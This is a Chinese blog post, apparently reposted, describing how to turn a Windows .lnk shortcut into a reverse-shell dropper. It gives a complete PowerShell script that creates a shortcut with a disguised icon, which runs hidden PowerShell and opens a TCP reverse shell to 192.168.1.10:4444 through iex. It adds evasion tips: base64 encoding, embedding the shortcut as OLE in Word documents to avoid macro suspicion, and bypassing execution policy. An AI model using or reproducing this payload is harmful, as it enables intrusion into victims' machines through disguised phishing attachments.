AD

使用.lnk快捷方式文件反弹SHELL

概述

       本文主要介绍了如果旧瓶装新酒,利用.lnk快捷方式文件反弹shell。在以前.lnk文件就曾经出过一些安全问题,然后微软对其进行了补丁更新,如何.lnk文件逐渐被人抛到了脑后。下面内容介绍一种可以让lnk快捷方式文件反弹shell的思路。

技术细节

       在日常时候中,如果直接发送一个.ps1文件或者其他.cmd.exe.bat给目标期望其执行,基本都会被终端安全措施直接阻止。但.lnk文件一般不会被怀疑,它只是一个二进制文件,并且即便在A设备创建,传送至B设备依然可以正常运行。
       所以是不是可以创建一个.lnk文件,指向一个powershell脚本,并且该脚本带有参数,可以反弹一个shell
       powershell可以使用/c或者-command参数执行命令。例如:
       powershell.exe /c ping 192.168.0.1
       



       但是lnk文件有260个字符的限制,不足以存储反向shell代码。但是MSDN上提到一种方法可以使参数串长度没有限制。
       下面的PS1脚本将在/lnk_tests/文件夹下面创建一个.lnk文件,可以实现在文档中脚本的参数串长度没有限制。
      
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("c:\lnk_tests\payload.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = '-windowstyle hidden /c $client = New-Object System.Net.Sockets.TCPClient("""192.168.1.10""",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + """PS """ + (pwd).Path + """> """;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Shortcut.Save()
       实际生产文件的效果如下:
       
       测试反弹shell效果如下:(注意,目标设备需要可以正常执行PS1脚本文件)
   
也可以把反弹shell的命令修改为其他的命令。另外可以使用-EncodedCommand命令,这样可以使用base64对字符串进行编码。
       最重要的是可以把.lnk文件作为OLE插入到word文档中,相比较宏文件,lnk文件更不容易被发觉到。

测试经验

       经过本人测试:
1.  目标机器上powershell的策略为禁止执行,该LNK文件也可以反弹成功。

2.  lnk文件必须位于对应生产的lnk_test文件夹下,才可以正常反弹。不限制所处驱动器,但限制所属目录必须是生成时的目录。生成目录可以作为次级目录在其他目录下,只要保证lnk快捷方式文件处于lnk_test目录下即可:


附录


来自:http://onready.me/old_horse_attacks.html

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

Ubiquiti_Networks_UniFi_Cloud_Key_authed_rce